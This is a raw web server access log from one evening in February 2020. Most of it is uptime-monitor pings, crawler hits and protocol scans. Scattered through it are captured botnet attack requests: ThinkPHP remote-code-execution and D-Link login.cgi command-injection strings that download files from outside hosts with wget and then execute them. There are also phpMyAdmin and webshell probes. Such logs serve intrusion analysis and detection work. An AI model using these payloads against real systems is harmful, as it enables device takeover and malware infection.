212.91.246.72 - - [14/Feb/2020:20:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.26.175 - - [14/Feb/2020:20:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:20:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.67.54.157 - - [14/Feb/2020:20:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.2.9.9 - - [14/Feb/2020:20:45:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.90.158 - - [14/Feb/2020:20:48:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.124.162.73 - - [14/Feb/2020:20:49:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:20:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [14/Feb/2020:20:52:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [14/Feb/2020:20:53:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [14/Feb/2020:20:53:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [14/Feb/2020:20:53:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:20:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [14/Feb/2020:20:53:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:20:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.115.124.75 - - [14/Feb/2020:21:00:44 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
27.115.124.9 - - [14/Feb/2020:21:00:54 +0100] "Query" 501 320 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:54 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:55 +0100] "stats" 501 320 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:00:55 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:55 +0100] "Subscribe" 501 324 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:56 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:00:56 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:56 +0100] "init" 501 319 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:00:57 +0100] "" 501 315 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:00:57 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:57 +0100] "\x05\x04" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:57 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:00:58 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:58 +0100] "\x01default" 501 323 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:00:58 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:58 +0100] "HELP" 501 319 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:59 +0100] "HELP" 501 319 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:59 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:59 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:59 +0100] "TSH " 501 318 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:00:59 +0100] "show info" 400 329 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:00:59 +0100] "NXSH-5.6.7" 501 325 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:59 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:59 +0100] "0\x84" 501 317 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:00:59 +0100] "serverstatus" 501 327 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:59 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:01:00 +0100] "<" 501 319 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:00 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:01:00 +0100] "CONNECT01 v09" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:01:00 +0100] "#ST" 501 318 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:01:00 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:01:00 +0100] "\x124" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:00 +0100] "ver" 501 318 "-" "-"
27.115.124.74 - - [14/Feb/2020:21:01:00 +0100] "get_info" 501 323 "-" "-"
27.115.124.9 - - [14/Feb/2020:21:01:00 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
27.115.124.9 - - [14/Feb/2020:21:01:01 +0100] "EHLO" 501 319 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:01 +0100] "*1" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:00 +0100] "< NTP/1.1 >" 400 329 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:00:59 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:21:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.115.124.75 - - [14/Feb/2020:21:00:54 +0100] "< NTP/1.2 >" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:54 +0100] "GET SERVER INFO" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:58 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
27.115.124.75 - - [14/Feb/2020:21:00:57 +0100] "< NTP/1.0 >" 400 329 "-" "-"
27.115.124.10 - - [14/Feb/2020:21:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
212.91.246.72 - - [14/Feb/2020:21:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.232.132.147 - - [14/Feb/2020:21:03:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:21:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [14/Feb/2020:21:05:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:21:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.82.155 - - [14/Feb/2020:21:05:55 +0100] "GET /26ca6f2cb8f8d61822377c12c73cd5ce.php HTTP/1.1" 404 341 "-" "-"
34.74.82.155 - - [14/Feb/2020:21:05:55 +0100] "GET /C23B8D115D10288D89E49183CDA685B4.php HTTP/1.1" 404 341 "-" "-"
34.74.82.155 - - [14/Feb/2020:21:05:55 +0100] "GET /d82bbaabd201990cfe19cdd8f0321d70.php HTTP/1.1" 404 341 "-" "-"
34.74.82.155 - - [14/Feb/2020:21:05:55 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "-"
34.74.82.155 - - [14/Feb/2020:21:05:55 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "-"
212.91.246.72 - - [14/Feb/2020:21:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.196.58.146 - - [14/Feb/2020:21:07:17 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.196.58.146 - - [14/Feb/2020:21:07:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
31.135.123.192 - - [14/Feb/2020:21:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:21:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.74 - - [14/Feb/2020:21:07:57 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [14/Feb/2020:21:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.158.126.72 - - [14/Feb/2020:21:13:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [14/Feb/2020:21:13:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [14/Feb/2020:21:13:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [14/Feb/2020:21:14:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [14/Feb/2020:21:14:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:21:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.5.188.123 - - [14/Feb/2020:21:20:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:21:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.197.73.68 - - [14/Feb/2020:21:32:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.144.149.159 - - [14/Feb/2020:21:33:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:21:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.196.98.78 - - [14/Feb/2020:21:35:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [14/Feb/2020:21:35:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [14/Feb/2020:21:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [14/Feb/2020:21:41:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.43.8.138 - - [14/Feb/2020:21:42:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:21:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.54.72.120 - - [14/Feb/2020:21:45:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:21:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.231.170.158 - - [14/Feb/2020:21:47:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:21:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [14/Feb/2020:21:55:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.61 - - [14/Feb/2020:21:55:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.231.164.98 - - [14/Feb/2020:21:55:34 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.231.164.98 - - [14/Feb/2020:21:55:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [14/Feb/2020:21:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.76.25.160 - - [14/Feb/2020:21:55:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:21:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:21:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
